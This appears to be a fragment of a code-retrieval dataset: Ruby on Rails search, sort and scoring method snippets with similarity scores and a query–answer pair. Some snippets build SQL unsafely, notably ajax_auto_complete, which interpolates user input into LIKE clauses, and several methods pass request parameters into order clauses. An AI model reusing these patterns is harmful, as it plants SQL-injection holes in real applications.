@predicates_count\n # ).page(params[:page]).per(params[:per_page] || 50)\n # end\n #\n # if @types[:object_terms]\n # @object_terms_count = TraitBank.count_object_terms(@q)\n # # NOTE we use @q here because it has no wildcard.\n # @object_terms = Kaminari.paginate_array(\n # TraitBank.search_object_terms(@q, params[:page], params[:per_page]),\n # total_count: @object_terms_count\n # ).page(params[:page]).per(params[:per_page] || 50)\n # end\n\n respond_to do |fmt|\n fmt.html do\n @page_title = t(:page_title_search, query: @q)\n end\n\n fmt.js { }\n\n # TODO: JSON results for other types! TODO: move; this is view logic...\n fmt.json do\n render json: JSON.pretty_generate(@pages.results.as_json(\n except: :native_node_id,\n methods: :scientific_name,\n include: {\n preferred_vernaculars: { only: [:string],\n include: { language: { only: :code } } },\n # NOTE I'm excluding a lot more for search than you would want for\n # the basic page json:\n top_media: { only: [ :id, :guid, :owner, :name ],\n methods: [:small_icon_url, :medium_icon_url],\n include: { provider: { only: [:id, :name] },\n license: { only: [:id, :name, :icon_url] } } }\n }\n ))\n end\n end\n end",
"def search_and_sort(value, direction)\n if value.blank? && direction.blank?\n Servicer.all.order(\"servicers.name ASC\")\n elsif value.blank? && direction=='asc'\n Servicer.all.order(\"servicers.name ASC\")\n elsif value.blank? && direction=='desc'\n Servicer.all.order(\"servicers.name DESC\")\n elsif value && direction=='asc'\n Servicer.full_text_search(value).reorder(\"servicers.name ASC\").with_pg_search_rank\n elsif value && direction=='desc'\n Servicer.full_text_search(value).reorder(\"servicers.name DESC\").with_pg_search_rank\n else\n Servicer.full_text_search(value).with_pg_search_rank\n end\n end",
"def index\n @search_name = params[:search_name]\n\n # INICIO RANSACK\n @query = LentColor.ransack(params[:q]) \n @query.name_cont = @search_name if @search_name.present?\n\n # PAGINACION Y ORDEN\n @results = @query.result(distinct: true).paginate(:page => params[:page] )\n \n # RESULTADO FINAL\n @lent_colors = @results \n end",
"def index\n @admin_terms = Admin::Term.search(params[:query]).order('lower(title) ASC').page(params[:page]).per(32)\n #@admin_terms = Admin::Term.all\n end",
"def distill\n @results.each do |r|\n row = {}\n @columns.each do |c|\n # 1. highlight the search terms\n # 2. replace the search terms in the results with bold text\n # index starting at the first character of the search terms\n # to the length of the search terms + the padding config value\n string = r.send(c).to_s\n row[c] = highlight string # need to find a better way to do this\n if @to_filter.include? c\n row[c] = highlight string[\n string.index(@terms[0]), \n string.index(@terms[0]) + @terms.length + @padding\n ] << \"...\"\n end\n end\n @formatted_results.push({:id =>r.id}.merge(row))\n end\n end",
"def search\n \n # Populate the @traveler variable\n get_traveler\n \n query = params[:query]\n query_str = query + \"%\"\n Rails.logger.debug query_str\n\n # This array will hold the list of matching places\n matches = [] \n # We create a unique index for mapping etc for each place we find\n counter = 0 \n \n # First search for matching names in my places\n rel = Place.arel_table[:name].matches(query_str)\n places = @traveler.places.active.where(rel)\n places.each do |place|\n matches << {\n \"index\" => counter,\n \"type\" => PLACES_TYPE,\n \"name\" => place.name,\n \"id\" => place.id,\n \"lat\" => place.location.first,\n \"lon\" => place.location.last,\n \"address\" => place.address,\n \"description\" => render_to_string(:partial => \"/shared/map_popup\", :locals => { :place => {:icon => 'icon-building', :name => place.name, :address => place.address} })\n }\n counter += 1\n end\n \n # Second search for matching address in trip_places. We manually filter these to find unique addresses\n rel = TripPlace.arel_table[:raw_address].matches(query_str)\n tps = @traveler.trip_places.where(rel).order(\"raw_address\")\n old_addr = \"\"\n tps.each do |tp|\n if old_addr != tp.raw_address\n matches << {\n \"index\" => counter,\n \"type\" => CACHED_ADDRESS_TYPE,\n \"name\" => tp.raw_address,\n \"id\" => tp.id,\n \"lat\" => tp.lat,\n \"lon\" => tp.lon,\n \"address\" => tp.raw_address,\n \"description\" => render_to_string(:partial => \"/shared/map_popup\", :locals => { :place => {:icon => 'icon-building', :name => tp.name, :address => tp.raw_address} })\n }\n counter += 1\n old_addr = tp.raw_address\n end \n end\n \n # Lastly search for matching names in the POI table\n rel = Poi.arel_table[:name].matches(query_str)\n pois = Poi.where(rel).limit(MAX_POIS_FOR_SEARCH)\n pois.each do |poi|\n matches << {\n \"index\" => counter,\n \"type\" => POI_TYPE,\n \"name\" => poi.name,\n \"id\" => poi.id,\n \"lat\" => poi.lat,\n \"lon\" => poi.lon,\n \"address\" => poi.address,\n \"description\" => render_to_string(:partial => \"/shared/map_popup\", :locals => { :place => {:icon => 'icon-building', :name => poi.name, :address => poi.address} })\n }\n counter += 1\n end\n \n respond_to do |format|\n format.js { render :json => matches.to_json }\n format.json { render :json => matches.to_json }\n end\n end",
"def index\n #@search = Product.ransack(params[:q])\n #@products = @search.result.order(\"name desc\")\n @products = Product.all\n end",
"def auto_complete_for_journal_title\n # Don't search on blank query.\n query = params['rft.jtitle']\n search_type = params[\"umlaut.title_search_type\"] || \"contains\"\n unless ( query.blank? )\n (context_objects, total_count) = find_by_title\n @titles = context_objects.collect do |co|\n metadata = co.referent.metadata\n {:object_id => metadata[\"object_id\"], :title => (metadata[\"jtitle\"] || metadata[\"btitle\"] || metadata[\"title\"])}\n end\n end\n render :text => @titles.to_json, :content_type => \"application/json\"\n end",
"def index\n @search = PurchaseRequisition.search(params[:search])\n @purchase_requisitions = @search.order('pr_date DESC , created_at DESC').all.uniq.paginate(:page => params[:page], :per_page => 20)\n \n end",
"def search_result_ranks_and_ids(tokens, user=User.current, projects=nil, options={})\n if options[:titles_only]\n # Use default sql search\n super\n else\n # Load every encrypted wiki page and search tokens manually\n\n if projects.is_a?(Array) && projects.empty?\n # no results\n return none\n end\n\n tokens = [] << tokens unless tokens.is_a?(Array)\n projects = [] << projects if projects.is_a?(Project)\n\n scope = (searchable_options[:scope] || self)\n if scope.is_a? Proc\n scope = scope.call(options)\n end\n permission = searchable_options[:permission] || :view_project\n scope = scope.where(Project.allowed_to_condition(user, permission))\n\n if projects\n scope = scope.where(\"#{searchable_options[:project_key]} IN (?)\", projects.map(&:id))\n end\n\n results_ids = []\n need_matches = options[:all_words] ? tokens.length : 1\n\n scope.find_each do |wiki_page|\n matches_count = 0\n page_title = wiki_page.title.mb_chars.downcase\n page_text = wiki_page.content.text ? wiki_page.content.text.mb_chars.downcase : \"\"\n tokens.each do |token|\n token = token.mb_chars.downcase\n matches_count += 1 if page_title.include?(token) || page_text.include?(token)\n end\n if matches_count >= need_matches\n results_ids << wiki_page.id\n end\n end\n\n scope.\n where(id: results_ids).\n reorder(searchable_options[:date_column] => :desc, :id => :desc).\n limit(options[:limit]).\n distinct.\n pluck(searchable_options[:date_column], :id).\n # converts timestamps to integers for faster sort\n map {|timestamp, id| [timestamp.to_i, id]}\n end\n end",
"def autocomplete_results\n return @results if @results\n return cached_results if cached?\n\n @results = search_words.flat_map do |word|\n completions_for(word).flat_map { |token| fetch_results(token) }\n end\n @results = sorted_results(@results).first(limit)\n cache_results(@results)\n @results\n end",
"def index\n #cars = Car.new\n @cars = Car.search(params[:search])\n\n ## if params[:search].blank?\n ## @cars = Car.all\n ## else\n ## @parameter = params[:search].downcase\n # @results = Car.joins(:user).where('lower (users.name) LIKE ?', \"%#{@parameter}%\").order(\"users.name DESC\")\n # @results = Car.joins(:user).where('users.name LIKE ?', \"%#{params[:q]}%\").order(\"users.name DESC\")\n # @results = Car.joins(:user).where(params[:q]).order(\"users.name DESC\")\n ## @cars = Car.where('lower(name) LIKE ?', \"%#{@parameter}%\")\n ## end\n end",
"def search\n if params[:search].present?\n @commercial_leads = CommercialLead.search(params[:search])\n else\n @commercial_leads = CommercialLead.all.order('initial_contact DESC')\n end\n end",
"def sorts_with_links\n [\n [search_merge(sort: 'best_match', order: 'desc', page: '1'), 'Relevancy'],\n\n [search_merge(sort: 'date', order: 'asc', page: '1'), 'Published Earliest'],\n [search_merge(sort: 'date', order: 'desc', page: '1'), 'Published Latest'],\n\n [search_merge(sort: 'title', order: 'asc', page: '1'), 'Title A-Z'],\n [search_merge(sort: 'title', order: 'desc', page: '1'), 'Title Z-A']\n ]\n end",
"def record_default_search\n Umbra::Record.search {\n fulltext params[:q]\n any_of do\n current_user_admin_collections.each { |collection|\n with(:collection, collection)\n }\n end\n order_by(sort_column.to_sym, sort_direction.to_sym)\n paginate :page => params[:page] || 1, :per_page => 30\n }\n end",
"def location_search # :nologin: :norobots:\n query = create_query(:Location, :pattern_search, :pattern => Location.user_name(@user, params[:pattern].to_s))\n show_selected_locations(query, :link_all_sorts => true)\n end",
"def autocomplete\n render json: Post.search(params[:query],operator: \"or\", autocomplete: true,limit: 10,boost_by_distance: {field: :location, origin: [current_user.lat, current_user.lon]}).map {|post| {title: post.title, value: post.id}}\n end",
"def sort_by_artist\n Album.search(params[:search]).joins(:artists).merge(Artist.reorder(sort_column(sort_table) + \" \" + sort_direction))\n .paginate( page: params[:page] )\n end",
"def apply_search_order( ds, options )\n\t\tif (( fields = options[:order] ))\n\t\t\tds = ds.to_a.sort_by do |uuid|\n\t\t\t\t@storage[ uuid ].values_at( *fields.compact ).map {|val| val || ''}\n\t\t\tend\n\t\tend\n\n\t\treturn ds\n\tend",
"def name_search # :nologin: :norobots:\n pattern = params[:pattern].to_s\n if pattern.match(/^\\d+$/) and\n (name = Name.safe_find(pattern))\n redirect_to(:action => 'show_name', :id => name.id)\n else\n query = create_query(:Name, :pattern_search, :pattern => pattern)\n @suggest_alternate_spellings = pattern\n show_selected_names(query)\n end\n end",
"def test_lookup_all_by_headword_removes_duplicates\n results = Lexeme.lookup_all_by_headword('lit', matchtype: Lexeme::SUBSTRING)\n\n assert results.any? { |lexeme| lexeme.headword_forms.count { |form| form =~ /lit/ } > 1 },\n 'For this test there needs to be a lexeme with multiple headwords matching the pattern'\n\n assert_equal results.collect(&:id), results.distinct.collect(&:id),\n 'lookup_all_by_headword should remove duplicates in substring search'\n end",
"def index\n \t@prevSort = params[:sort].nil? ? \"lname\" : params[:sort].gsub(\"%20\",\" \") \n \t@dept = params[:dept] || \"%\"\n\n if params[:center].nil?\n @researchers = Researcher.search(params[:search]).where(:dept.matches => @dept).order(@prevSort).page(params[:page]).per(5)\n else\n @researchers = Center.find_by_abbreviation(params[:center]).researchers.order(@prevSort).page(params[:page]).per(5)\n end\n \n @new_faculty = Researcher.recent\n\n\n \trespond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @researchers }\n end\n end",
"def search(search,compare,year,rain_fall_type)\n \n # if block starts here\n if search == \"All\"\n # if block starts here\n if rain_fall_type == \"All\"\n where(Year: year).order('id ')\n else\n where(Year: year).order(\"#{rain_fall_type} \")\n end\n # if block end here\n elsif compare == \"Bihar vs District\"\n where(\"Districts = ? OR Districts = ?\", search, \"Bihar\").where(\"year = ?\", year).order(:id)\n else\n # if block starts here\n \n if rain_fall_type == \"All\"\n where(\"Districts = ? \", search).where(\"year = ?\", year).order(:id)\n else\n where(\"Districts = ? \", search).where(\"year = ?\", year).order(rain_fall_type)\n end\n # if block end here\n \n end\n # if block end here\n \n \n end",
"def suggestions\n suggest_response['suggest'].values.first[q]['suggestions']\n .uniq { |s| s['term'].downcase }\n .sort_by { |s| (-s['weight']) * 100 + s['term'].length }\n .take(5)\n end",
"def ajax_auto_complete\n type = params[:type].to_s\n instr = params[:id].to_s\n letter = ' '\n scientific = false\n user = login_for_ajax\n if user\n scientific = (user.location_format == :scientific)\n end\n @items = []\n if instr.match(/^(\\w)/)\n letter = $1\n case type\n\n when 'location'\n @items = Observation.connection.select_values(%(\n SELECT DISTINCT `where` FROM observations\n WHERE `where` LIKE '#{letter}%' OR\n `where` LIKE '% #{letter}%'\n )) + Location.connection.select_values(%(\n SELECT DISTINCT `name` FROM locations\n WHERE `name` LIKE '#{letter}%' OR\n `name` LIKE '% #{letter}%'\n ))\n if scientific\n @items.map! {|i| Location.reverse_name(i)}\n end\n @items.sort!\n\n when 'name'\n @items = Name.connection.select_values %(\n SELECT text_name FROM names\n WHERE text_name LIKE '#{letter}%'\n AND correct_spelling_id IS NULL\n ORDER BY text_name ASC\n )\n\n when 'name2'\n @items = Name.connection.select_values(%(\n SELECT text_name FROM names\n WHERE text_name LIKE '#{instr}%'\n AND correct_spelling_id IS NULL\n ORDER BY text_name ASC\n )).sort_by {|x| (x.match(' ') ? 'b' : 'a') + x}\n # This sort puts genera and higher on top, everything else on bottom,\n # and sorts alphabetically within each group.\n letter = ''\n\n when 'project'\n @items = Project.connection.select_values %(\n SELECT title FROM projects\n WHERE title LIKE '#{letter}%'\n OR title LIKE '%#{letter}%'\n ORDER BY title ASC\n )\n\n when 'species_list'\n @items = SpeciesList.connection.select_values %(\n SELECT title FROM species_lists\n WHERE title LIKE '#{letter}%'\n OR title LIKE '%#{letter}%'\n ORDER BY title ASC\n )\n\n when 'user'\n @items = User.connection.select_values %(\n SELECT CONCAT(users.login, IF(users.name = \"\", \"\", CONCAT(\" <\", users.name, \">\")))\n FROM users\n WHERE login LIKE '#{letter}%'\n OR name LIKE '#{letter}%'\n OR name LIKE '% #{letter}%'\n ORDER BY login ASC\n )\n end\n end\n\n # Result is the letter requested followed by results, one per line. (It\n # truncates any results that have newlines in them -- that's an error.)\n render(:layout => false, :inline => letter +\n %(<%= @items.uniq.map {|n| h(n.gsub(/[\\r\\n].*/,'')) + \"\\n\"}.join('') %>))\n end",
"def search\n @songs = Song.ransack(name_cont: params[:q]).result(distinct: true).limit(5)\n end",
"def index\n order = Arel.sql('coalesce(sca_name,mundane_name) ASC')\n @search = params[:search]\n @recipients = if @search\n search_recipients(@search).order(order)\n else\n Recipient.order(order)\n end\n end",
"def relevancy_param(params)\n params[:sort_key] = ['has_granules']\n # sensor, archive_center and two_d_coordinate_system_name were removed from the available facets but it doesn't\n # hurt to list them here though.\n relevancy_capable_fields = [:keyword, :free_text, :platform, :instrument, :sensor, :two_d_coordinate_system_name,\n :science_keywords, :project, :processing_level_id, :data_center, :archive_center]\n if (params.keys & relevancy_capable_fields.map(&:to_s)).empty?\n params[:sort_key].push 'entry_title'\n else\n params[:sort_key].push 'score'\n end\n end",
"def suggest_results\n repository.auto_suggest(suggest_handler_path, request_params)\n end",
"def search\n @sorting = 'DESC'\n\n if (params[:sortBtn] == 'ASC')\n @sorting = 'ASC'\n else\n @sorting = 'DESC'\n end\n \n @qualities_search = Quality.order(\"strftime('%Y',date) \" + @sorting + \", julian_date DESC, lot DESC, time DESC\").search :lot_or_user_first_name_or_user_last_name_contains => params[:term]\n @users_search = User.order(\"last_name ASC\").search :first_name_or_last_name_or_email_contains => params[:term]\n \n if current_user.facility_id == 3\n @qualities = @qualities_search.where('facility_origin_id = ?','3').order(\"strftime('%Y',date) \" + @sorting + \", julian_date DESC, lot DESC, time DESC\").page params[:qualities_page]\n @users = @users_search.where('facility_id = ?','3').order(\"last_name ASC\").page params[:users_page]\n elsif current_user.facility_id == 2\n @qualities = @qualities_search.where('facility_origin_id = ?','2').order(\"strftime('%Y',date) \" + @sorting + \", julian_date DESC, lot DESC, time DESC\").page params[:qualities_page]\n @users = @users_search.where('facility_id = ?','2').order(\"last_name ASC\").page params[:users_page]\n else\n @qualities = @qualities_search.order(\"strftime('%Y',date) \" + @sorting + \", julian_date DESC, lot DESC, time DESC\").page params[:qualities_page]\n @users = @users_search.order(\"last_name ASC\").page params[:users_page]\n end\n\n respond_to do |format|\n format.html\n format.js\n format.xlsx {\n if !current_user.administrator? and current_user.technician?\n flash[:alert] = 'You do not have the necessary permissions to download this data.'\n redirect_to '/'\n else\n if(params[:searchType] == 'qualities')\n @qualities_search = Quality.order(\"strftime('%Y',date) DESC, julian_date DESC, lot DESC, time DESC\").search :lot_or_user_first_name_or_user_last_name_contains => params[:term]\n if current_user.facility_id == 3\n send_data @qualities_search.where('facility_id = ?','3').order(\"strftime('%Y',date) DESC, julian_date DESC, lot DESC, time DESC\").to_xlsx.to_stream.read, :filename => 'search.xlsx', :type => \"application/vnd.openxmlformates-officedocument.spreadsheetml.sheet\" \n elsif current_user.facility_id == 2\n send_data @qualities_search.where('facility_id = ?','2').order(\"strftime('%Y',date) DESC, julian_date DESC, lot DESC, time DESC\").to_xlsx.to_stream.read, :filename => 'search.xlsx', :type => \"application/vnd.openxmlformates-officedocument.spreadsheetml.sheet\" \n else\n send_data @qualities_search.order(\"strftime('%Y',date) DESC, julian_date DESC, lot DESC, time DESC\").to_xlsx.to_stream.read, :filename => 'search.xlsx', :type => \"application/vnd.openxmlformates-officedocument.spreadsheetml.sheet\" \n end \n elsif(params[:passed] == \"users\")\n #do nothing\n else\n #do nothing\n end\n end\n }\n end\n end",
"def all_autocomplete\n quests = Quest.search(params[:query], where: { :group_id => @user.wrapper_group.id})\n recs = Record.search(params[:query], where: { :group_id => @user.wrapper_group.id})\n render json: Search.json(quests.results + recs.results)\n end",
"def index\n @search = Author.search(params[:q])\n @authors = @search.result\n @search.build_condition if @search.conditions.empty?\n @search.build_sort if @search.sorts.empty?\n end",
"def unprocessed_results\n unprocessed_results = []\n self.design_review_results.each do |drr|\n unprocessed_results << drr unless drr.complete?\n end\n unprocessed_results.sort_by { |result| result.reviewer.last_name }\n end",
"def sort\n @sort ||= Vidibus::Words.sort_by_occurrence(list)\n end",
"def perform_search\n terms = { vehicle_year: 2006,\n vehicle_brand: \"Yamaha\",\n vehicle_model: \"Yz250\",\n vehicle_submodel: \"-- Base\",\n category_name: \"Complete Wheel Assembly\" }\n perform_search(terms)\n end",
"def index\n if params[:search]\n @tutorials = Tutorial.search(params[:search]).order(\"created_at DESC\")\n else\n @tutorials = Tutorial.all.order('created_at DESC')\n end\n=begin\n #for sunspot\n @search = Tutorial.search do\n fulltext params[:search]\n end\n @tutorials = @search.results\n=end\n end",
"def index\n @search = Restaurant.search do\n fulltext params[:search]\n end\n \n # @restaurants = Restaurant.all\n @restaurants = @search.results\n #@restaurants = Restaurant.order('id desc').limit(5)\n end",
"def index\n @search = Tutorial.search(params[:q])\n @tutorials = @search.result.where(suggestion: false).page(params[:page]).per(5).order('created_at DESC')\n @suggestions = @search.result.where(suggestion: true).page(params[:page]).per(5).order('created_at DESC')\n end",
"def text_match(column, search)\n column = \"#{column.to_s}_search_index\".to_sym\n self.where(':column @@ plainto_tsquery(:search)', :column => column, :search => search)\n .order_append(Sequel.function(:ts_rank, column, Sequel.function(:plainto_tsquery, search)).desc)\n end",
"def index\n @search = Sleuth.ransack(params[:q])\n @sleuths = @search.result\n @sleuthz= @sleuths.paginate(:page => params[:page],:per_page => 1000).order('qval ASC')\n @sleuthqval= @sleuthz\n end",
"def index\n @authors = Author.order(:name).where(\"name like ?\", \"%#{params[:term]}%\")\n autoload_helper(@authors, :name)\n end",
"def index\n #@the_rasps = TheRasp.all\n @the_rasps = TheRasp.search(params[:term], params[:term2])\n\n end",
"def advancedSort\n @sortField = params[:sortField]#field to search on \n @searchField =params[:searchField]# value to search for\n @sortField2 = params[:sortField2]\n @searchField2 =params[:searchField2]\n @graphField = params[:graphField] #datapoint to build graph around\n \n if @sortField2 == \" \"#check if default second value was changed\n @records = Record.where(@sortField => @searchField) #if not only use the first search field\n else#otherwise use both seach fields\n @records = Record.where(@sortField => @searchField, @sortField2 => @searchField2 )\n end\n @sortedSet = @records.order(@graphField)\n end",
"def sort_by_title(solr_parameters)\n return if solr_parameters[:q]\n solr_parameters[:sort] ||= \"#{sort_field} asc\"\n end"
] |
[
"0.6249512",
"0.6168122",
"0.6114023",
"0.6104411",
"0.6058657",
"0.6015114",
"0.5997423",
"0.59867585",
"0.5979311",
"0.5901349",
"0.58862895",
"0.5880042",
"0.5857006",
"0.5837778",
"0.5794448",
"0.5746807",
"0.5734639",
"0.5702542",
"0.569788",
"0.56967205",
"0.5684417",
"0.5683718",
"0.56810534",
"0.564431",
"0.56354433",
"0.5633172",
"0.56286",
"0.5603411",
"0.56002706",
"0.5599669",
"0.5597719",
"0.5584058",
"0.5572721",
"0.5571435",
"0.5564532",
"0.5556743",
"0.55480844",
"0.554494",
"0.5544672",
"0.5534572",
"0.55340844",
"0.5516904",
"0.5509689",
"0.549702",
"0.54808015",
"0.5476061",
"0.54707044",
"0.54557353",
"0.54545367",
"0.54491353",
"0.5447778",
"0.54465383",
"0.544305",
"0.5437755",
"0.54273856",
"0.54269683",
"0.5423265",
"0.5422627",
"0.5416574",
"0.54131114",
"0.5410924",
"0.54040575",
"0.53979933",
"0.53932947",
"0.53932315",
"0.538737",
"0.53863937",
"0.53613496",
"0.53578",
"0.53538895",
"0.5352046",
"0.53504115",
"0.53503793",
"0.5340142",
"0.5339911",
"0.5327309",
"0.53246725",
"0.53227633",
"0.5315439",
"0.5310096",
"0.5307038",
"0.5305177",
"0.5300634",
"0.52996373",
"0.5298827",
"0.5298646",
"0.5294748",
"0.5294268",
"0.5293023",
"0.52922386",
"0.5284034",
"0.52839965",
"0.52807546",
"0.5275283",
"0.5274286",
"0.5272756",
"0.52725506",
"0.52700675",
"0.5270018",
"0.52687997",
"0.5265311"
] |
0.0
|
-1
|
Score and weigh the record
|
def evaluate(search_term:, record:)
return record unless record.present? && search_term.present?
# Score and weigh each of the record
scr = score(search_term: search_term, item_name: record[:name])
wght = weigh(search_term: search_term, item_name: record[:name])
record.merge(score: scr, weight: wght)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def score; end",
"def score\n w = 0.3\n time = diff_time()\n sum_goods = goods()\n sum_bads = bads()\n total = sum_goods + sum_bads\n (w * sum_goods * (sum_goods/total.to_f)**3 * (total/time)).floor\n end",
"def score\n end",
"def weighted_score\n score * metric.weight\n end",
"def calculate_score\n new_score = self.retweet_count * 10 + self.favorite_count * 10\n new_score += 10 if self.with_image\n self.score = new_score\n self.save if self.changed?\n return self\n end",
"def weighted_score\n return nil if self.points.nil?\n self.points * self.weighting / self.maximum_points\n end",
"def compute_score\n\n total_score=0\n total_weights=0\n self.class.field_mappings.each do |field_name,field_config|\n if !field_config[:weight].blank?\n total_score += field_config[:weight].to_f * (self.class.blank_value?(self.send(field_name)) ? 0 : 1) # if the field is blank, it is a 0 regardless of weight, otherwise it is a 1 times its weight\n total_weights += field_config[:weight].to_f\n end\n end\n\n return ((total_score/total_weights)*100).ceil\n\n end",
"def assign_score; end",
"def update_score\n sum = 0.0\n total = 0.0\n ratings.each do |rating|\n vp = User.find(rating.user_id).voting_power \n sum = sum + rating.score * vp\n total = total + vp\n end\n average = sum / total\n variance = ratings.inject(0.0){ |sum, element| sum + \n (element.score - average) ** 2 }\n penalty = Math.log10((variance / ratings.size) + 1) + 1.0;\n update_attribute(:score, average / penalty)\n end",
"def weighted_score(score, avg_score)\n #add if statement if score is 0\n if(score==0)\n return\n end\n return (avg_score + 215)/score\n end",
"def score\n rate.score\n end",
"def addScore _score=0\n SQF.addScore @this, _score\n end",
"def score\n 3*@tally + 5*@strength + 2*@wealth + @food + 30*@monsters_killed\n end",
"def score\n @score\n end",
"def update_score\n #each second = .00002\n #each hour = .08\n #each day = 2\n time_score =(self.created_at.to_f - SHELBY_EPOCH.to_f) / TIME_DIVISOR\n like_score = self.calculate_like_score\n self.score = time_score + like_score\n end",
"def incement_score\r\n\t\t \t @score += 2000\r\n\t\t end",
"def update_score()\n\t\t# Uses ELO rating to calculate new rank for both users. Ref: https://metinmediamath.wordpress.com/2013/11/27/how-to-calculate-the-elo-rating-including-example/\n\t\t# Updates score by adding game scores to players score\n\tend",
"def breakingRecords(score)\n times_score_decrease = 0\n times_score_increase = 0\n highest = score[0]\n lowest = score[0]\n score.each do |num|\n if (num > highest)\n highest = num\n times_score_increase += 1\n end\n\n if (num < lowest)\n lowest = num\n times_score_decrease += 1\n end\n end\nend",
"def calculate_score\n # Calculate score given the number of lines cleared at once\n case (@deleted_indexes.length / 2)\n when 1\n @score += 40 * (@level + 1)\n when 2\n @score += 100 * (@level + 1)\n when 3\n @score += 300 * (@level + 1)\n when 4\n @score += 1200 * (@level + 1)\n end\n @score\n end",
"def score\n @wines = Wine.all\n @wines.each do |wine|\n\n if wine.snooth_rating != nil\n puts wine.snooth_rating.to_f\n convertSnooth = ((wine.snooth_rating.to_f * 14) + 40)\n puts convertSnooth\n # if snooth score is found, convert it\n # now, if bm score exists, add them together otherwise, double snooth\n if wine.bm_score != nil\n puts \"ADD SNOOTH CONVERT + BM SCORE\"\n puts convertSnooth + wine.bm_score\n wine.my_score = convertSnooth + wine.bm_score\n else\n puts \"NO BM SCORE SO DOUBLE THE SNOOTH SCORE\"\n puts convertSnooth * 2\n wine.my_score = convertSnooth * 2\n end\n else\n puts \"THERE ARE NO SCORES AVAILABLE FROM SNOOTH OR FROM BEVMO\"\n end\n\n if wine.price_sale != \"\"\n lowerPrice = wine.price_sale\n lowerPrice[0] = \"\"\n puts lowerPrice.to_f\n if wine.my_score != nil\n puts \"whats this\"\n value = wine.my_score.to_f / lowerPrice.to_f\n puts \"VALUE\"\n puts value\n wine.value_score = value\n puts wine.value_score.to_f\n end\n else\n lowerPrice = wine.price\n lowerPrice[0] = \"\"\n puts lowerPrice.to_f\n if wine.my_score != nil\n puts \"whats this2\"\n value = wine.my_score.to_f / lowerPrice.to_f\n puts \"VALUE\"\n puts value\n wine.value_score = value\n puts wine.value_score.to_f\n end\n end\n\n wine.save\n end\n end",
"def update_score\n self.score = posts.inject(0) { |score, post| score += post.rating }\n save\n end",
"def compute_score\n ts = self.created_at - Time.parse(\"January 1, 2012\")\n x = PanelVote.difference(self.id)\n y = x > 0 ? 1 : (x < 0 ? -1 : 0)\n z = x < 0 ? x * -1 : x\n z = 1 if z < 1\n self.score = Math.log(z, 10) * ((y * ts) / 45000)\n self.save\n end",
"def gen_score\n ## Calculate the score here!\n\n total_score = victories + coins/3 + blues + yellows + purples + leaders + blacks\n ## Greens\n greens = [tablets, compasses, gears]\n total_score += (greens.min*7) + greens[0]**2 + greens[1]**2 + greens[2]**2\n self.score = total_score\n end",
"def score\n @score || calculate_score\n end",
"def calculate_final_score\n self.scores.average(:total_score)\n end",
"def rescore(delta)\n self.score += delta\n self.score = self.score.round(2)\n self.save! \n end",
"def calculate_score\n raise \"Override and return the metric's score\"\n end",
"def weight; end",
"def score\n s = Settings.instance\n s.faculty_weight.to_f * (s.rank_weight.to_f/self.rank.to_f + s.mandatory_weight.to_f*(self.mandatory ? 1.0 : 0.0))\n end",
"def compute_weighted_overall_score\n (Player::Feedback::FIT_WEIGHT * avg_fit_score +\n Player::Feedback::PUNC_WEIGHT * avg_punctuality_score +\n Player::Feedback::SKILL_WEIGHT * avg_skill_score +\n Player::Feedback::PERS_WEIGHT * avg_personality_score)\n end",
"def score\n return @score\n end",
"def rescore(delta)\n self.score += delta\n self.save!\n end",
"def gain_points\n @score += 1\n end",
"def score\n 2 * won + drawn + noresult\n end",
"def rescore(delta)\n self.score += delta\n self.score = self.score.round(2)\n self.save!\n end",
"def score=(_); end",
"def score\n last_30_score\n end",
"def get_score\n @score ||= calculate_score\n end",
"def save_score\n self.total += self.round\n self.round = 0\n self.save\n end",
"def gain_point\n @score += 1\n end",
"def score\n if g = royal_flush?\n r = 5000\n elsif g = straight_flush?\n r = 4000 + g.last.rank\n elsif g = four_of_a_kind?\n r = 3500 + g.first.rank\n elsif g = full?\n high1 = three_of_a_kind?.first.rank\n high2 = pair?.first.rank\n r = 3000 + high1 * 100 + high2\n elsif g = flush?\n highest = g.last.rank\n r = 2500 + highest\n elsif g = straight?\n r = 2000 + g.last.rank\n elsif g = three_of_a_kind?\n r = 1500 + 100 * g.first.rank\n elsif g = two_pairs?\n high1 = g.last.rank\n high2 = g.first.rank\n r = 1000 + 100 * high1 + high2\n elsif g = pair?\n r = 500 + g.first.rank\n else\n g = highest?\n r = highest?.rank\n end\n [val - [g].flatten, r]\n end",
"def rescore!(score) self.score=score; save! end",
"def boost\n 1.0 #self.rating / 2.0\n end",
"def weighted_combined_score\n return 0.0/0.0 if review_committee_score.nil? || interview_committee_score.nil?\n ratio = offering.final_decision_weight_ratio\n r = review_committee_score * ratio\n i = interview_committee_score * (1 - ratio)\n r + i\n end",
"def score\n @result.to_i\n end",
"def weighted_max_score\n max_score * weight\n end",
"def calculate_score\n #set default user score value to 0 in the database but to prevent any errors and remove database dependencies i am including this line in the model as well\n score || 0\n self.games.each do |game|\n score+=game.points\n end\n score\n end",
"def product_score\n ((carbon_score + water_score.to_i + brand.brand_score) * 10.0) / 12.0\n end",
"def render_score; end",
"def formulate_score()\n @player_score = @player_score.sort!().reverse!().join().to_i()\n p \"#{@players[0].get_name}'s score is #{@player_score}\"\n check_score()\n end",
"def weight\n num_motions.zero? ? 0.5 : total_score.fdiv(max_score)\n end",
"def formulate_score()\n @player_score = @player_score.sort!().reverse!().join().to_i()\n p \"#{@players_joined[0]}'s score is #{@player_score}\"\n check_score()\n end",
"def score\n return self.progress - self.budget_ratio\n end",
"def update_score # score is used to display highest matches first in carousel\n @score = ResourcesUser.all # any time factors are changed, update score.\n @score.each do |x| # called any time a user updates their interests.\n unless x.user_has_id == nil # when updating, look at for update/efficiency.\n @user_has = User.find(x.user_has_id)\n @user_wants = User.find(x.user_wants_id)\n if @user_has.location == @user_wants.location # score is weighted based on being in the same city.\n location_weight = 1\n else\n location_weight = 0.75\n end\n x.update_attribute(:score, (@user_has.interests & @user_wants.interests).length*(location_weight/@user_wants.interests.length) *100)\n end\n end\n end",
"def score\r\n @health + points\r\n end",
"def score\n calculator.score\n end",
"def updated_trust_score(seller)\n 60 + self.trust_score\n end",
"def score\n verdict ? (verdict.score * problem.weight / verdict.max_score.to_f) : 0\n end",
"def calculate_round_score(match)\n round_score = 0\n scores = Holescore.where(user: current_user, match: match)\n scores.each do |score|\n round_score += score.gross_score\n end\n round_score\n end",
"def max_score\n problem.weight\n end",
"def score3\r\n score1ot\r\n end",
"def update_score()\r\n @score += GAME_PRESET[\"score_increment\"]\r\n end",
